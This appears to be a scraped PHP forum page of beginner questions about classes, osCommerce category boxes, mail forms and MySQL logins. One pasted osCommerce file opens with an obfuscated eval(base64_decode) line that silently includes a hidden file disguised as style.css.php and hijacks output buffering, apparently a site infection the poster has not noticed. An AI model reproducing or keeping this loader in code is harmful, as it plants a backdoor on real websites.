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PHP - Beginner Php Coder
First, I apologize if this is the wrong venue, but it seemed the best place to ask question about code. The code below is very simple most likely, but I am having the hardest time visualizing how it's run. It would be most helpful if someone could point out the error of my thinking that would be awesome. This is literally the first php lesson I have ever taken.
I'm a very visual, hands on kind of learner. It would be most appreciated to get direction into the best way to learn PHP as a visual learner. Thanks!
<?php
// I'm following an example online and need an explanation to this. This first part is creating
// a class called User.
class User {
// This is a variable set to public. Now in the lesson I discovered public and private. Why is
// public and private important? Could the code just run on $age?
public $age;
// This is a public function called __construct. Could I name this anything and the function
// would still work? What is important about __?
public function __construct($age) {
// Ok, why is $this used? Is it correct in assuming that any word with a "$" assigned to it in
// this class will refer to age?
$this->age = $age;
}
// This is the 3rd function called getAge(). Why is getAge() blank?
public function getAge() {
echo $this->age;
}
}
// Shoudln't this be at the top? And isn't there a cleaner way to output the age of a new user?
// This seems to take up way too much coding just to display the name of a variable?
$brad = new User(31);
// I'm so confused.
$brad->getAge();
Similar TutorialsThis topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=317915.0 Hi everybody, I have this code that allows me to appoint specific categories to box 1 , box 2, ... The problem is that it doesn't show first level subcategories. I have another code that shows sub-categories for the main categories but it doesn't allow me to appoint specific categories to the categories box that I want. I try to mix that two codes so it can allow me to show sub-categories and also allow me to appoint specific categories to the categories boxes. But to my limited php knowledge, I spent weeks to make it happen but no rusult. So Can any pro php coder help to make this happen? or can you point me to the right direction. Your help is greatly appriciate. Thank you. This is the code that allow you to appoint specific categories to specific categories box: Code: [Select] <?php /* $Id: categories.php,v 1.25 2003/07/09 01:13:58 hpdl Exp $ */ function new_tep_show_category($boxId,&$cPath_array,&$tree,$counter) { global $cat_name; // CategoryBox Enhancement for ($i=0; $i<$tree[$counter]['level']; $i++) $categories_string = " "; // $cPath_new = 'cPath=' . $tree[$counter]['path']; // CategoryBox Enhancement $categories_string .= '<b><a href="'; $cPath_new = 'cPath=' . $tree[$counter]['path']; // $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; // CategoryBox Enhancement $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; if ($boxId == $_SESSION['infoBox'] && isset($cPath_array) && in_array($counter, $cPath_array)) { // commented for CategoryBox Enhancement $categories_string .= '<b>' . $tree[$counter]['name'] . '</b>'; $categories_string .= '<b>'; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span>'; } // CategoryBox Enhancement $categories_string .= '</b>'; } else { // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<b><span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span></b>'; } // CategoryBox Enhancement } /* commented for CategoryBox Enhancement if (tep_has_category_subcategories($counter)) $categories_string .= '->'; */ $categories_string .= '</a>'; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($counter); if ($products_in_category > 0) $categories_string .= ' (' . $products_in_category . ')'; } $categories_string .= '<br>'; if ($tree[$counter]['next_id'] != false) $categories_string .= new_tep_show_category($boxId,$cPath_array,$tree,$tree[$counter]['next_id']); return $categories_string; } function tep_categories_box($boxId,&$infoBox,$follow_cPath,&$cPath_array) { global $languages_id; $info_box_contents = array(); $info_box_contents[] = array('text' => $infoBox['name']); new infoBoxHeadingCategories($info_box_contents, true, false); $tree = array(); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '0' and c.categories_id in (".implode(',',$infoBox['categories']).") and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); while ($categories = tep_db_fetch_array($categories_query)) { $tree[$categories['categories_id']] = array( 'name' => $categories['categories_name'], 'parent' => $categories['parent_id'], 'level' => 0, 'path' => $categories['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $categories['categories_id']; $parent_id = $categories['categories_id']; if (!isset($first_element)) $first_element = $categories['categories_id']; } //------------------------ if ($follow_cPath) { $new_path = ''; reset($cPath_array); while (list($key, $value) = each($cPath_array)) { unset($parent_id); unset($first_id); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$value . "' and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); if (tep_db_num_rows($categories_query)) { $new_path .= $value; while($row = tep_db_fetch_array($categories_query)) { $tree[$row['categories_id']] = array( 'name' => $row['categories_name'], 'parent' => $row['parent_id'], 'level' => $key+1, 'path' => $new_path . '_' . $row['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $row['categories_id']; $parent_id = $row['categories_id']; if (!isset($first_id)) $first_id = $row['categories_id']; $last_id = $row['categories_id']; } $tree[$last_id]['next_id'] = $tree[$value]['next_id']; $tree[$value]['next_id'] = $first_id; $new_path .= '_'; } else { break; } } } $info_box_contents = array(); $info_box_contents[] = array('text' => new_tep_show_category($boxId,$cPath_array,$tree,$first_element)); new infoBox($info_box_contents); } ?> <!-- categories //--> <?php $_infoBox = array(); // define('TABLE_CATEGORIES_MORE','categories_more'); $categories_this_infobox_query = tep_db_query("select * from " . TABLE_CATEGORIES_MORE . " where enabled = 1"); while ($_categories = tep_db_fetch_array($categories_this_infobox_query)) $_infoBox[] = array( 'categories' => array( $_categories['category1_id'], $_categories['category2_id'], $_categories['category3_id'], $_categories['category4_id'], $_categories['category5_id'], $_categories['category6_id'], $_categories['category7_id'], $_categories['category8_id'], $_categories['category9_id'], $_categories['category10_id'], $_categories['category11_id'], $_categories['category12_id'], $_categories['category13_id'], $_categories['category14_id'], $_categories['category15_id'], $_categories['category16_id'], $_categories['category17_id'], $_categories['category18_id'], $_categories['category19_id'], $_categories['category20_id'], $_categories['category21_id'], $_categories['category22_id'], $_categories['category23_id'], $_categories['category24_id'], $_categories['category25_id'], ), 'name' => $_categories['infobox_name'], 'enabled' => $_categories['enabled'] ); if (!tep_session_is_registered('infoBox')) { tep_session_register('infoBox'); $infoBox = '0'; } if (isset($_GET['infoBox']) && is_numeric($_GET['infoBox'])) $infoBox = $_GET['infoBox']; for($i=0,$n=2 ; $i<$n; $i++) { echo "<tr>\n<td>\n"; tep_categories_box( $i, $_infoBox[$i], ($infoBox == $i && tep_not_null($cPath)) ? true : false, $cPath_array ); echo "\n</td>\n</tr>\n"; } ?> <!-- categories_eof //-->This is the code that show sub-categories: Code: [Select] <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2N1b25ndDg2L3B1YmxpY19odG1sL3VnZ2Jvb3RzbWFkbmVzcy5jb20vYWRtaW4vaW5jbHVkZXMvbGFuZ3VhZ2VzL2VzcGFub2wvbW9kdWxlcy9uZXdzbGV0dGVycy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?> <?php /* $Id: show_subcategories.php,v 1.0 2003/01/08 10:37:00 Exp $ */ // Preorder tree traversal //befordch: unactivated not needed /*function preorder($cid, $level, $foo, $cpath){ global $categories_string, $HTTP_GET_VARS; // Display link if ($cid != 0) { for ($i=0; $i<$level; $i++) $categories_string .= ' '; $categories_string .= '<a href="' . tep_href_link(FILENAME_DEFAULT, 'cPath=' . $cpath . $cid) . '">'; // 1.6 Are we on the "path" to selected category? $bold = strstr($HTTP_GET_VARS['cPath'], $cpath . $cid . '_') || $HTTP_GET_VARS['cPath'] == $cpath . $cid; // 1.6 If yes, use <b> if ($bold) $categories_string .= '<b>'; $categories_string .= $foo[$cid]['name']; if ($bold) $categories_string .= '</b>'; $categories_string .= '</a>'; // 1.4 SHOW_COUNTS is 'true' or 'false', not true or false if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($cid); if ($products_in_category > 0) { $categories_string .= ' (' . $products_in_category . ')'; } } $categories_string .= '<br>'; } }*/ // Traverse category tree- this is for older snapshots pre-November 2002 /* foreach ($foo as $key => $value) { if ($foo[$key]['parent'] == $cid) { // print "$key, $level, $cid, $cpath<br>"; preorder($key, $level+1, $foo, ($level != 0 ? $cpath . $cid . '_' : '')) ; } */ // Function used for post November 2002 snapshots function tep_show_category($counter) { global $foo, $categories_string, $id; for ($a=0; $a<$foo[$counter]['level']; $a++) $categories_string .= " "; } ?> <!-- show_subcategories //--> <tr> <td class="infoBox_left"> <?php $info_box_contents = array(); $info_box_contents[] = array('text' => BOX_HEADING_CATEGORIES); new infoBoxHeadingCategories($info_box_contents, true, false); ////////// // Get categories list ////////// // 1.2 Test for presence of status field for compatibility with older versions // $status = tep_db_num_rows(tep_db_query('describe categories status')); used for older snapshots $status = tep_db_num_rows(tep_db_query('describe ' . TABLE_CATEGORIES . ' status')); $query = "select c.categories_id, cd.categories_name, c.parent_id, c.categories_image from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = cd.categories_id"; // 1.3 Can't have 'where' in an if statement! if ($status >0) $query.= " and c.status = '1'"; $query.= " and cd.language_id='" . $languages_id ."' order by sort_order, cd.categories_id"; $categories_query = tep_db_query($query); // Initiate tree traverse $categories_string = ''; //preorder(0, 0, $foo, ''); //bedfordch unactivated not needed ////////// // Display box contents ////////// $info_box_contents = array(); $row = 0; $col = 0; while ($categories = tep_db_fetch_array($categories_query)) { if ($categories['parent_id'] == 0){ $temp_cPath_array = $cPath_array; //Johan's solution - kill the array but save it for the rest of the site unset($cPath_array); $cPath_new = tep_get_path($categories['categories_id']); $text_subcategories = '<br>'; $subcategories_query = tep_db_query($query); while ($subcategories = tep_db_fetch_array($subcategories_query)){ if ($subcategories['parent_id'] == $categories['categories_id']){ $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id']; $text_subcategories .= ' - <a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcateg">' . '' . $subcategories['categories_name'] . '</a>'; //start befordch fix (show subcategoriy count) if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($subcategories['categories_id']); if ($products_in_category > 0) { $text_subcategories .= ' (' . $products_in_category . ')'; } } //end bedfordch fix $text_subcategories .= "<br>"; //bedfordch add <br> after subcategory. $q2= "select * from categories where parent_id=" . $subcategories['categories_id']; $rec2 = mysql_query($q2); while ($rq2 = mysql_fetch_array($rec2)) { $snd_sub_category = $rq2['categories_id']; $q3= "select categories_name from categories_description where categories_id=" . $snd_sub_category; $rec3 = mysql_query($q3); $rq3 = mysql_fetch_array($rec3); $snd_categories_name = $rq3[categories_name]; $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id'] . "_" . $snd_sub_category; $text_subcategories .= ' + ' . '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcategsec">' . '' . $snd_categories_name . '</a>' . "<br>"; } } } // While Interno //start befordch fix (show category count) $buildtext = '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new, 'NONSSL') . '" class="menucateg"><b>' . $categories['categories_name']; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($categories['categories_id']); if ($products_in_category > 0) { $buildtext .= '(' . $products_in_category . ')'; } } //end bedfordch $buildtext .= '</b></a>' . $text_subcategories; $info_box_contents[$row] = array('align' => 'left', 'params' => 'class="smallText" width="130" valign="top"', 'text' => $buildtext); //befordch show category count $col ++; if ($col > 0){ $col = 0; $row ++; } $cPath_array = $temp_cPath_array; //Re-enable the array for the rest of the code } } new infoBox($info_box_contents, true); ?> </td> </tr> <!-- show_subcategories_eof //--> Hey Ok i'd say i'm pretty average with HTML, CSS and PHP I have my own website - www.leedsmethockey.co.uk and i want to develop a new section... i'll try and explain as best i can i have a database with all the players and their email address... When someone is selected for a match i wish the website to email their email address to let them know... please could someone advice me where i need to start and what sort of code i need to be looking into? Many Thanks This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=308788.0 I have a bit of php code to send me an email when someone logs in to my site. I want to include the person's name and two other bits from my database, but I can't get the formatting correct. I keep getting errors when I try to load the page. Here's the code which obviously has mistakes. The first code works, it's the second one that does not work for the $message line .
if (mysql_num_rows($exe) == 1) {
$message_m = "Someone with RefCode ".$RefC." has viewed the homepage for the first time.";
mail("ray.fellers@gmail.com", "Good News! Someone just logged in to view the home page", $message_m);
setcookie("has_entered_correct_refcode", "true", time()+27000000, "/");
setcookie("has_entered_correct_refcode_value", $_POST["refcode"], time()+27000000, "/");
header("Location: /index.php");
die();
if (mysql_num_rows($exe) == 1) {
$message_m =" "'.$_POST['fname'].'," with RefCode "'.$RefC.'," and refund amount of "'.$_POST['refvalact'].'," has viewed the homepage.";
mail("ray.fellers@gmail.com", "Good News! Someone just logged in to view the home page", $message_m);
setcookie("has_entered_correct_refcode", "true", time()+27000000, "/");
setcookie("has_entered_correct_refcode_value", $_POST["refcode"], time()+27000000, "/");
header("Location: /index.php");
die();
}
Thanks for any help to resolve this.
This topic has been moved to PHP Freelancing. http://www.phpfreaks.com/forums/index.php?topic=357368.0 First of all, sorry for my bad english. I have this: PHP Code: [Select] $link = file_get_contents("http://www.imdbapi.com/?i=tt1285016"); $json = json_decode($link,true); echo $json["Title"]; and I want to replace tt1285016 with $info["id"]; (this is something from mysql, first time when i use ). If I put echo $info["id"]; it return exactly what i need: tt1421545. How can I do that? thank u very much and sorry again for bad enlighs, not native language. EDIT: Sorry for bad section, first time when i come here. Hello, For all purposes, I am a complete beginner. I just know the basics of passing form data through to an email, and displaying the text of a variable on the next page via ECHO, POST, etc.. My situation is that I do not know what sort of code to use to accomplish the job of what I want done. I have created a form to be used for displaying insurance information. This form allows users to select the following: To Get Started: State You Live In: Car Information: Model Year: Original Listing Price: Your Car Currently Is: Your Information: Do You Rent Or Own? Are You Married? Do You Have Children Under 18 Years Of Age? Gross Annual Household Salary Do You Have Health Insurance? How Much Are You Worth In Total Assets (Savings, Equity, Stocks, 401K, Car, Home, etc...) ------------------------ Next to each question, I have a box from which they can select their options (standard html form code). The form has an action and the method is post. Some code is displayed below.. Now so far I am able to display the text of whatever item they selected, by using Echo $_Post etc and the answer page... Here is my problem... I want to display to the user, "recommended insurance limits" based on the data they select from the drop down boxes. So... If a user lives in Alabama, and has an income of $150K+, I want to display a different answer than someone who only earns $30K and lives in Alabama, and the list goes on, (range of options for each question). I have no idea what sort of code to use to display the appropriate answer. I thought I could use the "if, elseif, else" statement, and simply do hundreds of variations on it for each state, but surely there is a more refined and less bloated code for doing such a thing? I would need to display a different answer for the user, for each separate option they choose. Example) Alabama, Model Year of 1995, Salary of $50K would be DIFFERENT then Alabama, Model Year of 2000, Salary of $50K, etc... Thank you for your time. Here is my php code. Code: [Select] <?php $state = $_POST["state"]; $modelyear = $_POST["modelyear"]; $carprice = $_POST["carprice"]; $carownership = $_POST["carownership"]; $homeownership = $_POST["homeownership"]; $marriage = $_POST["marriage"]; $childrenunder18 = $_POST["childrenunder18"]; $salary = $_POST["salary"]; $healthinsurance = $_POST["healthinsurance"]; $assets = $_POST["assets"]; ?> <?php if ($state=="Alabama") { echo "Alabama requires the following minimum insurance limits:<br /> $25,000 - Liability Per Person<br /> $50,000 - Liability For Total Persons<br /> $25,000 - Property Damage Total"; } elseif ($state=="Alaska") { echo "Alaska requires etc..."; } else { echo "You did not select a state."; } ?> hi there i am a beginner in PHP and i really would like some help with this.....
i need to make use of the date() function to retrieve the current date. Use the split() function to retrieve the day month and the year from the current date. and the calculations to display the age.
if anyone could help me with this it would be amazing.
thank you!!
Attached Files
newagecalc.php 1.56KB
0 downloads hey guys, I am very new to PHP and wanted to create a simple form script. Somehow it doesnt work... can you help me? Help is highly appreciated!! here is the code: Code: [Select] <?php $admin= 'name@email.com'; // 1. Message to the admin $subject1= 'You have one new subscription'; $message1.= 'Email: '.$email."\n\n"; $message1.= 'Name: '.$name."\n\n"; // Sending mail mail($admin, $subject1, $message1, "From: $email"); header('Location: http://www.youtube.com'); ?> Hi guys, sorry for the beginner issues here. after following a tutorial i come across a little problem! Everything works just fine, no errors but my page source only shows the xml tags and not the actual products <?php $link = mysql_connect("localhost","Joao","password"); mysql_select_db("brimelow_store"); $query = 'SELECT * FROM products'; $results = mysql_query($query); echo "<?xml version=\"1.0\"?>\n"; echo "<products>\n"; while ($line = mysql_fetch_assoc($results)); { echo "<item>" . $line["product"] . "</item>\n"; } echo "</products>\n"; mysql_close($link); ?> source = <?xml version="1.0"?> <products> <item></item> </products> I have checked the database names and they all match... im confused. can i get some help pls? Hi all messing about with php , trying to get my head round the basics : ok I have a file called test.php with this in it <? $ourFileName = "testFile.txt"; $ourFileHandle = fopen($ourFileName, 'w') or die("can't open file"); fclose($ourFileHandle); ?> when I run this instead of creating a blank text file called testfile.txt all it does is repeat the code in the command box window as below C:\php>php -f c:\php\test\test.php <? $ourFileName = "testFile.txt"; $ourFileHandle = fopen($ourFileName, 'w') or die("can't open file"); fclose($ourFileHandle); ?> C:\php> Anyone got a clue as to why it wouldnt create a text file please? Hi there, I'm new to PHP about 5month (previously i don't have any programming background), i study the basic PHP through online. i found a tutorial from : http://www.phpwebcommerce.com/ , and there is some error in this tutorial + i need customize this tutorial for my site. I'm here to ask , is the tutorial suitable beginner like me ? is the tutorial consider for advanced used ? i able to solve some error in this tutorial but it take too long. Can give a solution ? should i give up this tutorial on my site ? or just continue find solution ? but i'm already spent almost 2month in this tutorial. so far, i left shipping cost cant find solution...(but i have try do it for 2weeks) Thank you. Hi, I'm trying to set up a mysql database on my laptop, XP, and connect to a test database using php. I've created the database called 'testdb' with user account 'test' and password 'password. The code I'm using to try and connect to the test datase is the following; $dbconnect=mssql_connect("localhost", "test", "password"); But when I open the page in a web browser, I am getting the following error; Fatal error: Call to undefined function mssql_connect() in <file_location> I'm hoping I'm doing something simple here, but, I've looked up forums and this seems to be the code to use to connect. Anyone who could help would be greatly appreciated. Thanks. Hi, I've been using this tutorial all afternoon, and it's been great, but I wonder if it's outdated... http://www.tizag.com/phpT/index.php I'm using WAMPSERVER 2.2 and PHP 5.3.10 Any recommendations for good up-to-date/relevant tutorials? Thanks Hi, Basically I just downloaded wamp and got php and mysql etc. I created a database for my "new social network to-be site" which I am trying to develop.. now I want to create a registration page and am trying to follow a guide on another website.. it lets you download a zip with all the php files required. So now, I am totally confused. Here is the guide: http://www.html-form-guide.com/php-form/php-registration-form.html But I dont know what to do with any file or where to put it.. any basic help.. Just to confirm I want to make a login/registration/user database type thing
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="stylesheet.css">
<meta charset="utf-8">
</head>
<body>
<?php
$array = array();
echo "<table>";
for ($z=0; $z <=9; $z++)
{
echo "<tr>";
for ($s=0; $s <=9; $s++)
{
$r = mt_rand (1, 100);
array_push ($array, $r);
if ($r %2 != 0)
{
echo "<td bgcolor = red>";
echo $r;
echo "</td>";
}
else
{
echo "<td bgcolor= lightgreen>";
echo $r;
echo "</td>";
}
}
echo "</tr>";
}
echo "</table>";
echo "<br>";
echo "<table>";
sort($array);
$arraysplit = array_chunk($array, count($array)/10);
for ($z=0; $z <=9; $z++)
{
echo "<tr>";
for ($s=0; $s <=9; $s++)
{
if ($r %2 != 0)
{
echo "<td bgcolor = red>";
echo json_encode (arraysplit);
echo "</td>";
}
else
{
echo "<td bgcolor= lightgreen>";
echo json_encode ($arraysplit);
echo "</td>";
}
}
echo "</tr>";
}
?>
</body>
</html>
Hey absolute beginner here. Im working on a table that gives random numbers out and then colorizes them if they can be devided by 2. That works fine. Now i want to get those randomly generated numbers into a second table but sorted. I already managed to put the numbers i generated into an array and sort it but i cant figure out how to echo them 1 by 1 into the table. Maybe you can help me out. Hi all, I hope I am in the right place. I'm new to php/mysql so please be patient with me. I am trying to create a login script to validate username and password against a database I have created. I am not getting an error message but even when I enter correct username/password details from the database to test the code I am getting the message at the bottom of the script. I can't figure out why as I thought I had all bases covered, but obviously not. Here is my code. Thanks for any help in advance. P.S. I have checked the names against my form and they are correct. <html> <html lang="en"> <head> <meta charset="utf-8" /> <title>USER LOGIN</title> </head> <body> <?php if(empty($_POST['name'])){ $name=NULL; echo "Sorry, you forgot to enter your username.</br>"; }else{ $name=$_POST['name']; } if(empty($_POST['password'])){ $password=NULL; echo "Sorry, you forgot to enter a password.</br>"; }else{ $password=$_POST['password']; } $connection = @mysqli_connect('localhost','root','','BLOG_PROJECT') OR die("Could not connect to server"); $username = stripslashes($name); $password = stripslashes($password); $username = mysql_real_escape_string($name); $password = mysql_real_escape_string($password); $info = "SELECT 'username', 'password' FROM USERS WHERE 'username'='$username' and 'password'='$password'"; $return=@mysql_query($info); $rows=@mysql_num_rows($return); if($rows==1){ session_register("username"); session_register("password"); header("location:admin.php"); echo "Hi $username. You are now logged in."; }else{ echo "You have entered incorrect details. Please check your login details and try again."; } ?> </body> </html> Well I have made a form in html and i need the information which is entered into the form to be shown to the user in a different page so I have a Ticket request page and i have made a Confirmation_Page.php Ticket request page: has this <form id="form1" name="form1" method="get" action="Confirmation_page.php"> The ticket request page has (Just one example so eg. the forename: </p> <p> <label>Forename <input type="text" name="Forname" id="Forname" /> </label> </p> <p> And corresponding to this in the Confirmation_Page.php it is : Your forename is : <?php echo $_GET["Forename"];?><br /> Now the thing is when I enter info in the form inside the ticket request page and click submit It takes me to the Confirmation_Page.php HOWEVER It doesn't show me the information I've inputed it into the form Eg.It only shows Your forename is : please help me I need to hand this in by monday :( thanks to everyone who tries to help me :l |
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